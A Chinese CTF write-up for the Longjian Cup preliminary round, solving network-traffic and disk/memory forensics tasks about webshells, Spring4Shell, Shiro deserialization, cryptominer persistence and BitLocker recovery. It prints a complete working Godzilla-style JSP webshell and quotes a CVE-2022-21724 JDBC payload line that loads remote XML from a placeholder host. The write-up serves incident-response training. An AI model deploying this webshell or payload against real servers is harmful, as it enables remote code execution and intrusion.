第二届陇剑杯 初赛全WP

以前打的比赛写的WP,整理了一下,纯个人理解,WP和附件自取,若有帮助,记得点赞和关注哈:)

hard_web

题目附件:hard_web_99af7443957c71d3961b3e3cc6045f46.zip

  1. 服务器开放了哪些端口,请按照端口大小顺序提交答案,并以英文逗号隔开(如服务器开放了80 81 82 83端口,则答案为80,81,82,83)

首先确定服务器和客户端的IP

确定是服务器是192.168.162.180客户端为192.168.162.188,开放端口的话会完成tcp三次握手协议

所以如果成功建立连接的话,服务器会发送一个synack字段

  • ip.dst == 192.168.162.188 and tcp.connection.synack

所以可以确定开放的端口是80,888,8888

  1. 服务器中根目录下的flag值是多少

首先过滤HTTP协议

可以看到shell.jsp,初步判断是某种webshell


然后这里还列出了webshell的内容

<%! String xc="748007e861908c03"; class X extends ClassLoader{public X(ClassLoader z){super(z);}public Class Q(byte[] cb){return super.defineClass(cb, 0, cb.length);} }public byte[] x(byte[] s,boolean m){ try{javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES");c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(xc.getBytes(),"AES"));return c.doFinal(s); }catch (Exception e){return null; }}%><%try{byte[] data=new byte[Integer.parseInt(request.getHeader("Content-Length"))];java.io.InputStream inputStream= request.getInputStream();int _num=0;while ((_num+=inputStream.read(data,_num,data.length))<data.length);data=x(data, false);if (session.getAttribute("payload")==null){session.setAttribute("payload",new X(this.getClass().getClassLoader()).Q(data));}else{request.setAttribute("parameters", data);Object f=((Class)session.getAttribute("payload")).newInstance();java.io.ByteArrayOutputStream arrOut=new java.io.ByteArrayOutputStream();f.equals(arrOut);f.equals(pageContext);f.toString();response.getOutputStream().write(x(arrOut.toByteArray(), true));} }catch (Exception e){}%>

基本就是哥斯拉的webshell,解密的话网上找一个脚本或者使用大厨即可

直接看最后一个请求和响应

请求

响应

最后的flagflag{9236b29d-5488-41e6-a04b-53b0d8276542}

  1. 该webshell的连接密码是多少

倒数第五个请求解密之后可以看到

查看响应

然后md5解密748007e861908c03得到,或者写脚本爆破MD5也行

看看MD5加密

应该是去了前几位作为密钥

所以连接密码是14mk3y

参考:

Wireshark1

题目附件:wireshark1_dc337306e02806e9e11e650c515bd774.zip

  1. 被入侵主机的IP是?

分析发现入侵协议是telnet,应该是从哪里知道了账号密码之后直接远程连接23端口了

看内容就知道被入侵主机的IP是192.168.246.28

  1. 被入侵主机的口令是?

直接追踪流即可

口令是youcannevergetthis

  1. 用户目录下第二个文件夹的名称是?

同样直接追踪流即可

第二个文件夹的名称是Downloads

  1. /etc/passwd中倒数第二个用户的用户名是?

同样直接追踪流即可

倒数第二个用户的用户名是mysql

SmallSword

题目附件:SmallSword_f0255d257b71afd3affd813cf362f025.zip

  1. 连接蚁剑的正确密码是______________?

分析流量可以看到

这边通过sql联合注入写了两个webshell进去

这边连接蚁剑的密码都是6ea280898e404bfabd0ebb702327b18f

但是连接利用的时候又变成了

6ea280898e404bfabd0ebb702327b19f

后续还有

一堆疑惑行为,存在多次传参命令执行

最后尝试真正的密码是6ea280898e404bfabd0ebb702327b19f

  1. 攻击者留存的值是______________?(答案示例:d1c3f0d3-68bb-4d85-a337-fb97cf99ee2e)

存留的值大概率是写入的,分析流量发现最后滴几个流量在写入信息

明显执行文件流,然后字符串可以base64解密,一一解密得到

最后第三个利用webshell的流

hacker.txt中写入了ad6269b7-3ce2-4ae8-b97f-f259515e7a91,即为留存的值

然后倒数第二个

这不是火绒吗,难道是在hack火绒!!!,不过好像是类似一个入侵伪装吧,木马文件改名以及修改时间戳。

  1. 攻击者下载到的flag是______________?(答案示例:flag3{uuid})

分析info1.php这个webshell没发现下载相关命令,可能有其他的webshel

这个参数v似乎也能进行命令执行,但是无法解密命令

追踪流

在随后的130137流中发现

明显是exe文件,我猜测是下载了名为火绒的exe

直接转16进制搜索exe文件头

随后复制一长串用010转一下得到

直接运行输出:图片保存成功:

然后在上一层会输出一张图片

010查看发现是png,然后修改高度

发现最后的flagflag3{8f0dffac-5801-44a9-bd49-e66192ce4f57}

ez_web

题目附件:ez_web_e82608071ac21070473ff8c37658e265.zip

  1. 服务器自带的后门文件名是什么?

分析流量包可以发现

有个d00r.php可以进行命令执行,但是提交不对,于是猜测hacker就是通过服务器自带的后门写入这个webshell

直接查找d00r.php发现

这里通过a参数利用file_put_contents函数写入了文件

所以后门文件就是ViewMore.php

  1. 服务器的内网IP是多少?

由于这里利用了d00r.phpcmd参数进行命令执行

我们直接应用为列进行查看,内网IP的话就重点关注IP相关命令

查看回显

双网卡,经过尝试内网IP192.168.101.132

  1. 攻击者往服务器中写入的key是什么?

这边看到


然后尝试解密

发现是一个zip,然后有密码,密码在

大厨直接解密即可

所以写入的key是7d9ddff2-2d67-4eba-9e48-b91c26c42337

tcpdump

题目附件:easywiki.zip

  1. 攻击者通过暴力破解进入了某Wiki 文档,请给出登录的用户名与密码,以:拼接,比如admin:admin

可以看到

爆破失败返回的是300,那我们查找200

追踪流得到

所以登录的用户名与密码为TMjpxFGQwD:123457

  1. 攻击者发现软件存在越权漏洞,请给出攻击者越权使用的cookie的内容的md5值

查看cookie

直接把cookie应用为列,然后过滤人眼查看

前面是2后面变1那么越权的应该是1

MD5一下

得到383c74db4e32513daaa1eeb1726d7255

  1. 攻击使用jdbc漏洞读取了应用配置文件,给出配置中的数据库账号密码,以:拼接,比如root:123456

直接搜索jdbc得到如下

配置中的数据库账号密码为springcfg:root,但是不对,然后一一追踪流在1600流发现

所以配置中的数据库账号密码zyplayer:1234567

  1. 攻击者又使用了CVE漏洞攻击应用,执行系统命令,请给出此CVE编号以及远程EXP的文件名,使用:拼接,比如CVE-2020-19817:exp.so

发现可疑情况

远程下载

可以看到远程下载用的是jdbc:postgresql查找一下

找到一个CVE-2022-21724POC如下

  • DriverManager.getConnection("jdbc:postgresql://node1/test?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://target/exp.xml");

主要利用的是socketFactorysocketFactoryArg这两个参数

可以看到几乎一样

得到CVE-2022-21724:custom.dtd.xml

  1. 给出攻击者获取系统权限后,下载的工具的名称,比如nmap

同样一一追踪流

得到下载的工具名称fscan_amd64经过尝试需要去掉版本信息

最后为fscan

hacked

题目附件:hacked_9702a13c99753e97b1c04a3aa687bbd4.zip

  1. admIn用户的密码是什么?

查看

发现用户名和密码都是加密的形式,随后在tcp50流看到加密方式


AES加密

  • keyl36DoqKUYQP0N7e1
  • IV131b0c8a7a6e072e

随后在57流看到

查看56流并解密

得到admIn用户的密码flag{WelC0m5_TO_H3re}

  1. app.config['SECRET_KEY']值为多少?

尝试直接搜索SECRET_KEY

html解码

得到SECRET_KEY的值为ssti_flask_hsfvaldb

  1. flask网站由哪个用户启动?

76流解密得到

发现执行了whoami,但是没有回显

但是却有一个set-cookie

然后解密就得到

可以知道用户名是red

  1. 攻击者写入的内存马的路由名叫什么?(答案里不需要加/)

百度一下注入内存马的方法,参考

查阅发现是调用了add_url_rule函数来添加路由

然后发现81流有点奇怪

解密session

和内存马完全符合

所以最后的内存马路径就是add_url_rule后面的Index

sevrer save

题目附件:SS.zip

解压密码为c77ad47ba4c85fae66f08ec12e0085dd

  1. 黑客是使用什么漏洞来拿下root权限的。格式为:CVE-2020-114514

分析流量


发现可疑字符串,百度一下


得到CVE-2022-22965

  1. 黑客反弹shell的ip和端口是什么,格式为:10.0.0.1:4444

直接看压缩包中的文件系统信息helloworld目录下

然后看bbbb.sh

或者看流量



得到192.168.43.128:2333

  1. 黑客的病毒名称是什么? 格式为:filename

可以看到用户主目录下


有个mian文件,同时.idea中也存在文件



猜测恶意文件就是mian

  1. 黑客的病毒运行后创建了什么用户?请将回答用户名与密码:username:password

直接查看一下passwd


再看一下shadow


所以用户名与密码为ll:123456

  1. 服务器在被入侵时外网ip是多少? 格式为:10.10.0.1

直接查看用户目录下的.log.txt


得到外网IP172.105.202.239

  1. 病毒运行后释放了什么文件?格式:文件1,文件2

就释放了.idea下的两个文件


答案就是lolMiner,mine_doge.sh

  1. 矿池地址是什么? 格式:domain:1234

直接查看mine_doge.sh


得到矿池地址doge.millpools.cc:5567

  1. 黑客的钱包地址是多少?格式:xx:xxxxxxxx

同样


钱包地址为DOGE:DRXz1q6ys8Ao2KnPbtb7jQhPjDSqtwmNN9

IncidentResponse

题目附件:太大了,传不了,一个镜像文件拿来应急响应

解压密码为f0b1ba11478343f404666c355919de3f

题目描述

你是公司的一名安全运营工程师,今日接到外部监管部门通报,你公司网络出口存在请求挖矿域名的行为。需要立即整改。经过与网络组配合,你们定位到了请求挖矿域名的内网IP是10.221.36.21。查询CMDB后得知该IP运行了公司的工时系统。(虚拟机账号密码为:root/IncidentResponsePasswd)

  1. 挖矿程序所在路径是?(答案中如有空格均需去除,如有大写均需变为小写,使用echo -n 'strings'|md5sum|cut -d ' ' -f1获取md5值作为答案)

查看一下进程信息


有个redis看看配置文件


这里JSON格式怪怪的,和常规的配置文件不太一样


后面就更加离谱了,还有pools以及wallet,经典的xmrig挖矿病毒,应该个伪造的redis程序,同时也没有redis-cli命令行程序

所以挖矿程序所在的路径就是/etc/redis/redis-server


最后的答案6f72038a870f05cbf923633066e48881

此外我们还可以用7Z拿出ova中的VMDK磁盘文件,然后用取证大师或者R-Studio来恢复我们拿出需要的文件,这样会更加方便一点,不过就看不了内存中的进程等等信息了,最好仿真和磁盘同时利用

我们恢复取出其中的redis-server检查一下


直接检测出了xmrig,一种经典的挖矿病毒

  1. 挖矿程序连接的矿池域名是?(答案中如有空格均需去除,如有大写均需变为小写,使用echo -n 'strings'|md5sum|cut -d ' ' -f1获取md5值作为答案)

同样看配置文件我们就可以知道矿池地址是donate.v2.xmrig.com

查一下


最后的答案3fca20bb92d0ed67714e68704a0a4503

  1. 攻击者入侵服务器的利用的方法是?(答案中如有空格均需去除,如有大写均需变为小写,使用echo -n 'strings'|md5sum|cut -d ' ' -f1获取md5值作为答案)

hint:答案md5值前两位为3e

由于我们看到该镜像运行的web服务是一个jar包,那么大概率通过java的方式进行利用然后打进来


当前目录下有日志,看看日志

利用文件恢复


这两个文件

反编译jar包,在pom中看到


版本信息


版本是1.2.4,这个版本是存在shiro反序列化漏洞的

网站框架是网上的renren-security,不过很久没更新了

看下日志


基本可以确定是shiro550,但是怎么输入的不对

后面发现英文的可以


最后的答案3ee726cb32f87a15d22fe55fa04c4dcd

  1. 攻击者的IP是?(答案中如有空格均需去除,如有大写均需变为小写,使用echo -n 'strings'|md5sum|cut -d ' ' -f1获取md5值作为答案)

查看ssh的日志


发现存在来自81.70.166.3的暴力破解痕迹,猜测就是攻击者的IP


取证大师也能看到

随后变换格式


所以答案就是c76b4b1a5e8c9e7751af4684c6a8b2c9

  1. 攻击者发起攻击时使用的User-Agent是?(答案中如有空格均需去除,如有大写均需变为小写,使用echo -n 'strings'|md5sum|cut -d ' ' -f1获取md5值作为答案)

查看nginx的日志


可以看到攻击者的UAMozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)

变化格式


最后的答案6ba8458f11f4044cce7a621c085bb3c6

  1. 攻击者使用了两种权限维持手段,相应的配置文件路径是?(md5加密后以a开头)(答案中如有空格均需去除,如有大写均需变为小写,使用echo -n 'strings'|md5sum|cut -d ' ' -f1获取md5值作为答案)

同样查看SSH日志


可以发现攻击者暴力破解无果之后,利用公私钥成功登录了系统,应该是通过某种方式写入了公钥,配置文件路径一般都是/root/.ssh/authorized_keys


然后看看格式


所以第一种方式就是利用SSH密钥进行权限维持

答案为a1fa1b5aeb1f97340032971c342c4258

  1. 攻击者使用了两种权限维持手段,相应的配置文件路径是?(md5加密后以b开头)(答案中如有空格均需去除,如有大写均需变为小写,使用echo -n 'strings'|md5sum|cut -d ' ' -f1获取md5值作为答案)

一一检测常见Linux下的权限维持手段


查看影子账户


查看定时任务


查看有无敏感启动任务

发现一个启动任务的后门用于重复启动挖矿程序,所以配置文件的路径是/lib/systemd/system/redis.service

变换格式


所以最后的答案就是b2c5af8ce08753894540331e5a947d35

baby_forensics

题目附件:BF.zip

解压密码为4cf611fce4a2fec305e54c2766b7c860

  1. 磁盘中的key是多少

直接挂载


发现磁盘用bitlocker加密了,需要解密

尝试用EFDD解密


发现可以


密钥的16进制ed9779c500281407fc821a280115b58fbde944e4e3c925a1f7b0c984eb3a1709


乱码用不了好像

恢复密钥

得到恢复密钥560604-255013-655633-128854-663223-316063-484946-476498

然后利用恢复密钥解密或者用EFDD再次挂载一个解密的盘都可以


打开就能得到key


得到E96<6J:Da6g_b_f_gd75a3d4ch4heg4bab66ad5d,作为MISC手的直觉一眼像是加密的


rot47解密得到thekeyis2e80307085fd2b5c49c968c323ee25d5

或者不解密磁盘直接去内存中取出解密


所以最后的答案就是2e80307085fd2b5c49c968c323ee25d5

  1. 电脑中正在运行的计算器的运行结果是多少

先取证一下内存


然后取出进程镜像


然后用Gimp分析进程内存中的位图文件,具体原理百度


调了一会终于调出来可,最后的参数如下,可能有很多种参数选择可以得到上图


此处之外利用如下命令查看程序窗口句柄信息


然后查找calc程序也能找到


所以答案就是7598632541

  1. 该内存文件中存在的flag值是多少

继续取证内存文件


有个便签程序,取出内存分析一下


然后同样用Gimp分析


能看出有一段字符串以U2Fsd开头,可能是AES或者DES rabbit加密,直接Strings大法看一下


得到U2FsdGVkX195MCsw0ANs6/Vkjibq89YlmnDdY/dCNKRkixvAP6+B5ImXr2VIqBSp

补充完善得到

U2FsdGVkX195MCsw0ANs6/Vkjibq89YlmnDdY/dCNKRkixvAP6+B5ImXr2VIqBSp94qfIcjQhDxPgr9G4u++pA==

还差一个密钥,文件搜索key/k3y/passwd/等等信息,除此之外好像Gimp继续翻看内存文件也能得到类似文件的提示


得到一个这个,导出查看一下


猜测是密钥,AES解密试试


得到flag{ad9bca48-c7b0-4bd6-b6fb-aef90090bb98}

posted @   Ch3nry  阅读(108)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 一个费力不讨好的项目,让我损失了近一半的绩效!
· 清华大学推出第四讲使用 DeepSeek + DeepResearch 让科研像聊天一样简单!
· 实操Deepseek接入个人知识库
· CSnakes vs Python.NET:高效嵌入与灵活互通的跨语言方案对比
· Plotly.NET 一个为 .NET 打造的强大开源交互式图表库
点击右上角即可分享
微信分享提示